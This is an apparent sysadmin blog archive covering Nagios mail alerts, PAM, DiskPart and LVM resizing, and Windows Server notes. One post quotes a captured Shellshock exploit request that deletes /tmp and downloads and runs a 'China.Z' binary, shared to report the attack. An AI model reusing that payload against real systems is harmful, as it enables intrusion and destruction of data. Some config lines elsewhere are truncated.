nagios mail notify

There are lots of services monitor in your nagios,what if the service is down?
The most important issue is that the admin should be notified by the first time,email is great tool on it.

edit the contact.cfg file to tell the nagios who is the admin to receieve all the mail

# template which is defined elsewhere.

define contact{
        contact_name                    nagiosadmin             ; Short name of user
        use                             generic-contact         ; Inherit default values from generic-contact template (de
fined above)
        alias                           Nagios Admin            ; Full name of user

        email                   ; <<***** CHANGE THIS TO YOUR EMAIL ADDRESS ******


nothing need to be changed in the commands.cfg,the sample is marked below:

# 'notify-host-by-email' command definition
define command{
        command_name    notify-host-by-email
        command_line    /usr/bin/printf "%b" "***** Nagios *****\n\nNotification Type: $NOTIFICATIONTYPE$\nHost: $HOSTNAME
$\nState: $HOSTSTATE$\nAddress: $HOSTADDRESS$\nInfo: $HOSTOUTPUT$\n\nDate/Time: $LONGDATETIME$\n" | /bin/mail -s "** $NOTI

# 'notify-service-by-email' command definition
define command{
        command_name    notify-service-by-email
        command_line    /usr/bin/printf "%b" "***** Nagios *****\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService: $SER
VICEDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState: $SERVICESTATE$\n\nDate/Time: $LONGDATETIME$\n\nAdditional Inf

3.using the sendmail in linux to sending mail

vi the /etc/mail.rc which is the config file of sendmail

# add by admin

set smtp-auth-password=pwd_email_account smtp-auth=login
enable the function of mail notification by add option “notifications_enabled 1”

# Change the host_name to match the name of the host you defined above

define service{
        use                     generic-service
        host_name               COS360,PRINTER_SRV_BJ,MENJIN,VM_BJ
        service_description     C:\ Drive Space
        check_command           check_nt!USEDDISKSPACE!-l c -w 80 -c 90
        notifications_enabled   1

//add  notifications_enabled in services will open the notification


bring down one of the service,you will get the email notification



you can use nagios to monitor your infrastructure of basic IT resources.

you should first define a host to be monitored then use the define service to do the action,it’s the OO thinking mind.

taking the NT platform as a example,install the NSClient++ plugin as agent to the hosts you want to monitor.

define host{
        use             windows-server  ; Inherit default values from a template
        host_name       host1  ; The name we're giving to this host
        alias           COS Security Server     ; A longer name associated with the host
        address   ; IP address of the host

define service{
        use                     generic-service
        host_name               host1
        service_description     NSClient++ Version
        check_command           check_nt!CLIENTVERSION


check_command is the bin action of monitoring the resource,there are lots of monitor action in $nagios/bin and you add


wordpress post to pdf issue

post to pdf issue,you need the post2pdf plugin and you need to solve the mbstring and encoding issue of php.

work as follow:
Below is a sample excerpt php.ini file which contains the configuration of mbstring variables.
mbstring.language = all
mbstring.internal_encoding = UTF-8
mbstring.http_input = auto
mbstring.http_output = UTF-8
mbstring.encoding_translation = On
mbstring.detect_order = UTF-8
mbstring.substitute_character = none;
mbstring.func_overload = 0
mbstring.strict_encoding = Off
– See more at:

configure the php with –enable-mbstring=all option



Firewall、DCD、TCP Keep alive

from :



  • 切断连接之前,连接对应的Oracle会话正在执行一个耗时特别长的SQL,比如存储过程而在此过程中没有任何数据输出到客户端,这样当SQL执行完成之后,向客户端返回结果时,如果TCP连接已经被防火墙中断,这时候显然会出现错误,连接中断,那么会话也就会中断。但是客户端还不知道,会一直处于等待服务器返回结果的状态。


从上面的前面2种情况来看,防火墙切断数据库TCP连接,引起的后果就会有: Continue reading “Firewall、DCD、TCP Keep alive”

user local logon fail

I can access my linux from the ssh but failed in local logon with error in /var/log/security as below:

Jun 24 11:19:36 localhost login: pam_unix(login:session): session opened for user root by LOGIN(uid=0)
Jun 24 11:19:36 localhost login: Permission denied

the root reason is the error in /etc/pam.d/login:

[root@VM42 ~]# more /etc/pam.d/login
auth [user_unknown=ignore success=ok ignore=ignore default=bad]
auth       include      system-auth
account    required
account    include      system-auth
password   include      system-auth
# close should be the first session rule
session    required close
session    required
session    optional
# open should only be followed by sessions to be executed in the user context
session    required open
session    required
session    optional force revoke
session    include      system-auth
-session   optional
# add for oracle install
session    reqiured

the spell of reqiured is not correct….Correct it,everything goes write…


China.z Malware info

My prod server got a security issue where below show the same case:

From :

China.Z Malware

Among the daily attacks on my web server, I got a request for the following file (without the line breaks).

() { :; }; /bin/bash -c "
rm -rf /tmp/*;
echo wget -O /tmp/China.Z-rpvd >> /tmp/;
echo echo By China.Z >> /tmp/;
echo chmod 777 /tmp/China.Z-rpvd >> /tmp/;
echo /tmp/China.Z-rpvd >> /tmp/;
echo rm -rf /tmp/ >> /tmp/;
chmod 777 /tmp/;

It was clearly an attempt to exploit CVE-2014-6271 and friends, colloquially known as Shellshock or Bashdoor. That is not particularly interesting, because the bug was fixed a long time ago and my server does not even support CGI. However some searching revealed that the payload does not seem to be known.

I set up a trap and captured the payload the next time it came by. On a cursory glance it looked like a poorly-written C++ program that was compiled with a 2003 version of GCC on a RHEL machine.

I do not care to dig much deeper, so I am sharing the payload with the world in case someone does. I put the payload and the accompanying the request into an archive. Note that the payload is most definitely harmful and you need to be really careful if you decide to work with it. I removed its execute bits as a precaution, but the rest is on you.

also,you can follow the pages as workround guide:






FW:Microsoft Announces New Container Technologies for the Next Generation Cloud


Guest post by Mike Neil, General Manager for Windows Server, Microsoft

In today’s cloud-first world, businesses increasingly rely on applications to fuel innovation and productivity. As the cloud evolves, containers are emerging as an attractive way for developers to quickly and efficiently build and deploy these applications at the speed of business. Offering developers and IT professionals the ability to deploy applications from a workstation to a server in mere seconds, containers are taking application development to a whole new level.

As developers look to expand the benefits of containers to a broader set of applications, new requirements are emerging. For example, heightened levels of trust may be required for enterprise systems or in hosted environments. Furthermore, developers often deploy into mixed operational environments where they may not have control of the platform where the application is deployed. Virtualization has historically provided a valuable level of isolation that enables these scenarios but there is now opportunity to blend the efficiency and density of the container model with the right level of isolation.

Last October, Microsoft and Docker, Inc. jointly announced plans to bring containers to developers across the Docker and Windows ecosystems via Windows Server Containers, available in the next version of Windows Server. We will be unveiling the first live demonstration in a few weeks, starting at the BUILD conference. Today, we are taking containerization one step further by expanding the scenarios and workloads developers can address with containers:

• Hyper-V Containers, a new container deployment option with enhanced isolation powered by Hyper-V virtualization 
• Nano Server, a minimal footprint installation of Windows Server that is highly optimized for the cloud, and ideal for containers.

First-of-Their-Kind Hyper-V Containers

Leveraging our deep virtualization experience, Microsoft will now offer containers with a new level of isolation previously reserved only for fully dedicated physical or virtual machines, while maintaining an agile and efficient experience with full Docker cross-platform integration. Through this new first-of-its-kind offering, Hyper-V Containers will ensure code running in one container remains isolated and cannot impact the host operating system or other containers running on the same host.

While Hyper-V containers offer an additional deployment option between Windows Server Containers and the Hyper-V virtual machine, you will be able to deploy them using the same development, programming and management tools you would use for Windows Server Containers. In addition, applications developed for Windows Server Containers can be deployed as a Hyper-V Container without modification, providing greater flexibility for operators who need to choose degrees of density, agility, and isolation in a multi-platform, multi-application environment.

Our Containers in the Docker Ecosystem

Docker plays an important part in enabling the container ecosystem across Linux, Windows Server and the forthcoming Hyper-V Containers. We have been working closely with the Docker community to leverage and extend container innovations in Windows Server and Microsoft Azure, including submitting the development of the Docker engine for Windows Server Containers as an open contribution to the Docker repository on GitHub. In addition, we’ve made it easier to deploy the latest Docker engine using Azure extensions to setup a Docker host on Azure Linux VMs and to deploy a Docker-managed VM directly from the Azure Marketplace. Finally, we’ve added integration for Swarm, Machine and Compose into Azure and Hyper-V.

“Microsoft has been a great partner and contributor to the Docker project since our joint announcement in October of 2014,” said Nick Stinemates, Head of Business Development and Technical Alliances. “They have made a number of enhancements to improve the developer experience for Docker on Azure, while making contributions to all aspects of the Docker platform including Docker orchestration tools and Docker Client on Windows. Microsoft has also demonstrated its leadership within the community by providing compelling new content like dockerized .NET for Linux. At the same time, they’ve been working to extend the benefits of Docker containers- application portability to any infrastructure and an accelerated development process–to its Windows developer community.”

Introducing Nano Server: The Nucleus of Modern Apps and Cloud

The operating system has evolved dramatically with the move to the cloud. Many customers today need their OS for the primary purpose of powering born-in-the-cloud applications. Leveraging our years of experience building and running hyper-scale datacenters, Microsoft is uniquely positioned to provide a purpose-built OS to power modern apps and containers.

The result is Nano Server, a minimal footprint installation option of Windows Server that is highly optimized for the cloud, including containers. Nano Server provides just the components you need – nothing else, meaning smaller server images, which reduces deployment times, decreases network bandwidth consumption, and improves uptime and security. This small footprint makes Nano Server an ideal complement for Windows Server Containers and Hyper-V Containers, as well as other cloud-optimized scenarios. A preview will be available in the coming weeks, and you can read more about the technology on the Windows Server blog.

Containers are bringing speed and scale to the next level in today’s cloud-first world. Microsoft is uniquely positioned to propel more organizations forward into the next era of containerization, by offering flexibility and choice through Windows Server containers, Linux containers, and Hyper-V containers both in the cloud and on-premises. Today’s announcements are just the beginning of what’s to come, as we continue to fuel both the growth of containers in the industry, and new levels of application innovation for all developers.

Stay tuned for more details on these new innovations, beginning at our BUILD conference in a few weeks.

the “share option” in directory disappeared

I found that when the client pc was joined into the windows domian using windows 2003 Actice Directory the “share option” was gone as loggin by domain user.

it’s that when the domain users don’t have the privilege to create common windows directory share,you need to add the domain user to the POWER USER group.Even you login as domain administrator,the directory still lack the “sharing option”,you add it to the local administrators group,the sharing option will come out again.
Besides,the domain user did not have the privilege to share the directory,you need to enable the function in domain controller by policy tool(

Just mark it.


windows server 2008 partition extend online

help the customer to extend the NTFS partition online to satisfy the disk consumtion,just mark it.


Microsoft DiskPart 版本 6.1.7601
Copyright (C) 1999-2008 Microsoft Corporation.
在计算机上: EDM-DEV-DB

DISKPART> list volume

  卷 ###      LTR  标签         FS     类型        大小     状态       信息
 ----------  ---  -----------  -----  ----------  -------  ---------  --------
  卷     0     X                       DVD-ROM         0 B  无介质

  卷     1         系统保留    NTFS   磁盘分区         100 MB  正常     系统
  卷     2     C               NTFS   磁盘分区          29 GB  正常     启动
  卷     3     D   新加卷      NTFS   磁盘分区         109 GB  正常

DISKPART> list volume

  卷 ###      LTR  标签         FS     类型        大小     状态       信息
  ----------  ---  -----------  -----  ----------  -------  ---------  --------
  卷     0     X                       DVD-ROM         0 B  无介质

  卷     1         系统保留     NTFS   磁盘分区         100 MB  正常    系统
  卷     2     C                NTFS   磁盘分区         29 GB  正常    启动
  卷     3     D   新加卷       NTFS   磁盘分区         109 GB  正常  页面文件


Microsoft DiskPart 版本 6.1.7601

DISK        - 显示磁盘列表。例如,LIST DISK。
PARTITION   - 显示所选磁盘上的分区列表。
              例如,LIST PARTITION。
VOLUME      - 显示卷列表。例如,LIST VOLUME。
VDISK       - 显示虚拟磁盘列表。

DISKPART> list volume

  卷 ###      LTR  标签         FS     类型        大小     状态       信息
  ----------  ---  -----------  -----  ----------  -------  ---------  --------
  卷     0     X                       DVD-ROM         0 B  无介质
  卷     1         系统保留     NTFS   磁盘分区         100 MB  正常         系统
  卷     2     C               NTFS   磁盘分区          29 GB  正常         启动
  卷     3     D   新加卷       NTFS   磁盘分区         109 GB  正常         页面文件

DISKPART> list disk

  磁盘 ###  状态           大小     可用     Dyn  Gpt
  --------  -------------  -------  -------  ---  ---
  磁盘 0    联机              450 GB   310 GB

DISKPART> select disk 0

磁盘 0 现在是所选磁盘。

DISKPART> list volume

  卷 ###      LTR  标签         FS     类型        大小     状态       信息
  ----------  ---  -----------  -----  ----------  -------  ---------  --------
  卷     0     X                       DVD-ROM         0 B  无介质
  卷     1         系统保留     NTFS   磁盘分区         100 MB  正常         系统
  卷     2     C                NTFS   磁盘分区          29 GB  正常         启动
  卷     3     D   新加卷       NTFS   磁盘分区         109 GB  正常         页面文件

DISKPART> list part

  分区 ###       类型              大小     偏移量
  -------------  ----------------  -------  -------
  分区      1    主要                 100 MB  1024 KB
  分区      2    主要                  29 GB   101 MB
  分区      3    主要                 109 GB    29 GB

DISKPART> select volume 3

卷 3 是所选卷。

DISKPART> extend 317440

有关此命令类型的详细信息,请使用 HELP EXTEND 命令

DISKPART> extend size=317440

DiskPart 成功地扩展了卷。


DISKPART> list part

  分区 ###       类型              大小     偏移量
  -------------  ----------------  -------  -------
  分区      1    主要                 100 MB  1024 KB
  分区      2    主要                  29 GB   101 MB
* 分区      3    主要                 419 GB    29 GB


windows server 2003 diskpart扩容

本测试的os基于windows server 2003 EE版本


windows server在磁盘管理方面,能够将磁盘分为两种大的类型:基本、动态。”基本”类型主要针对单个磁盘,而”动态”则更加灵活一些,具备一定的动态扩展能力,一般针对多个磁盘,多个磁盘可以组成”卷”,例如从磁盘1和磁盘2中各拿100M组成一个容量200M的卷。而当这个卷容量不够,快耗尽时(常见的E分区空间不足),可以再从磁盘1和磁盘2上取空间容量,添加到卷上(E分区),这些都是动态的。



windows server的分区样式主要分为两种:”MBR”模式、”GPT”模式。MBR模式在主分区上有限制,只能拥有4个主分区。而GPT模式不受这个的限制,能够有很多的主分区(至少大于4)。



some basic operations of LVM


1.change the partition id to LVM format(id=8e)
after "fdisk /dev/sdb",you can go through fdisk–>t—>8e to change the partition to linux LVM format
//to check the partition id information 
fdisk -l
Disk /dev/sda: 21.4 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1        2458    19743853+  83  Linux
/dev/sda2            2459        2610     1220940   82  Linux swap / Solaris
Disk /dev/sdb: 2147 MB, 2147483648 bytes
255 heads, 63 sectors/track, 261 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1         125     1004031    8e  Linux LVM
/dev/sdb2             126         261     1092420   8e  Linux LVM
Disk /dev/sdc: 2147 MB, 2147483648 bytes
255 heads, 63 sectors/track, 261 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
   Device Boot      Start         End      Blocks   Id  System
/dev/sdc1               1         125     1004031   8e  Linux LVM
/dev/sdc2             126         261     1092420   8e  Linux LVM
2.create pv
pvcreate /dev/sdb1 /dev/sdb2
Physical volume "/dev/sdb1" successfully created
Physical volume "/dev/sdb2" successfully created
//query the pv info
PV /dev/sdb1                      lvm2 [980.50 MB]
PV /dev/sdb2                      lvm2 [1.04 GB]
3.create vg
[root@hundsun ~]# vgcreate testvg /dev/sdb1 /dev/sdb2
Volume group "testvg" successfully created
//query the vg information you just created
[root@hundsun ~]# vgscan
Reading all physical volumes.  This may take a while…
Found volume group "testvg" using metadata type lvm2
4.display the information
//you can see the pv information 
[root@hundsun ~]# pvdisplay
  "/dev/sdb1" is a new physical volume of "980.50 MB"
  — NEW Physical volume —
  PV Name               /dev/sdb1
  VG Name
  PV Size               980.50 MB
  Allocatable           NO
  PE Size (KByte)       0
  Total PE                  0
  Free PE                  0
  Allocated PE          0
  PV UUID               UuuhUL-TIJx-JT0w-1yqv-ugWx-aWaj-gExW6w
  "/dev/sdb2" is a new physical volume of "1.04 GB"
  — NEW Physical volume —
  PV Name               /dev/sdb2
  VG Name
  PV Size               1.04 GB
  Allocatable           NO
  PE Size (KByte)       0
  Total PE              0
  Free PE               0
  Allocated PE          0
  PV UUID               gi9xoW-qvv7-pSWP-ovcG-vjrt-NaI1-KwzyAa
5.display vg information
//display the information of vg
[root@hundsun ~]# vgdisplay
  — Volume group —
  VG Name               testvg
  System ID
  Format                lvm2
  Metadata Areas        2
  Metadata Sequence No  1
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                0
  Open LV               0
  Max PV                0
  Cur PV                2
  Act PV                2
  VG Size               2.00 GB
  PE Size               4.00 MB
  Total PE              511
  Alloc PE / Size       0 / 0
  Free  PE / Size       511 / 2.00 GB
  VG UUID               M8rjyz-egoA-Oyda-u8Ou-nS4l-gkrf-1Jjen6
6.delete a vg
[root@hundsun ~]# vgremove testvg
Volume group "testvg" successfully removed
7.create LV
[root@hundsun mapper]# lvcreate -L 200M -n firstLV testvg
Logical volume "firstLV" created
//a device will be created at /dev/mapper/{vg_name-lv_name}
[root@hundsun mapper]# ls -l /dev/mapper/testvg-firstLV
brw-rw—- 1 root disk 253, 0 Oct 15 05:09 /dev/mapper/testvg-firstLV
//lvdisplay will display the all the lv information
[root@hundsun testvg]# lvdisplay
  — Logical volume —
  LV Name                /dev/testvg/firstLV
  VG Name                testvg
  LV UUID                vf8a9c-jHAC-She5-yzqh-rvod-osv7-vaSYfp
  LV Write Access        read/write
  LV Status              available
  # open                 0
  LV Size                200.00 MB
  Current LE             50
  Segments               1
  Allocation             inherit
  Read ahead sectors     auto
  – currently set to     256
  Block device           253:0
[root@hundsun testvg]# pwd
[root@hundsun testvg]# ls -lrt
total 0
lrwxrwxrwx 1 root root 26 Oct 15 05:09 firstLV -> /dev/mapper/testvg-firstLV
//you can see the /dev/mapper/lv was referenced by /dev/testvg/firstLV
//after create lv,use mkfs.ext3 to mk a ext3 filesystem and mount it 
8.create a ext3 filesystem using the lv just created and mount it
[root@hundsun testvg]# mkfs.ext3 /dev/testvg/firstLV
mke2fs 1.39 (29-May-2006)
Filesystem label=
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
51200 inodes, 204800 blocks
10240 blocks (5.00%) reserved for the super user
First data block=1
Maximum filesystem blocks=67371008
25 block groups
8192 blocks per group, 8192 fragments per group
2048 inodes per group
Superblock backups stored on blocks:
        8193, 24577, 40961, 57345, 73729
Writing inode tables: done
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done
This filesystem will be automatically checked every 33 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.
//mount it to a point
[root@hundsun /]# mount -t    ext3    /dev/testvg/firstLV /data
[root@hundsun /]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1              19G   12G  5.9G  67%   /
tmpfs                 507M     0  507M   0%      /dev/shm
none                  507M  104K  507M   1%    /var/lib/xenstored
/dev/mapper/testvg-firstLV        194M  5.6M  179M   4% /data
9.extend the lv and the mount point filesystem using lvextend
//extend the lv using lvextend,but the mount point of filesystem can not sync the change untill
//you resize2fs -p /dev/testvg/{lvname}
//before you resize2fs the filesyetem,the /data have 200M and the +100M had not take place
[root@hundsun /]# lvextend -L +100M /dev/testvg/firstLV
  Extending logical volume firstLV to 300.00 MB
  Logical volume firstLV successfully resized
[root@hundsun /]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1              19G   12G  5.8G  67% /
tmpfs                 507M     0  507M   0% /dev/shm
none                  507M  104K  507M   1% /var/lib/xenstored
                      194M  5.6M  179M   4% /data
//resize the filesystem to call the change of lv
[root@hundsun /]# resize2fs -p /dev/testvg/firstLV
resize2fs 1.39 (29-May-2006)
Filesystem at /dev/testvg/firstLV is mounted on /data; on-line resizing required
Performing an on-line resize of /dev/testvg/firstLV to 307200 (1k) blocks.
The filesystem on /dev/testvg/firstLV is now 307200 blocks long.
[root@hundsun /]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1              19G   12G  5.8G  67% /
tmpfs                 507M     0  507M   0% /dev/shm
none                  507M  104K  507M   1% /var/lib/xenstored
                      291M  6.1M  270M   3% /data


windows server 2012 trial test

windows server 2012 was released. setup welcome page


2. select the version to install

it's the same as win2k8 as the installation page

3. login page for user


4.server manager

all the maintanenace entry was server manager


5. the start menu was hiden in the left corner and powershell was high light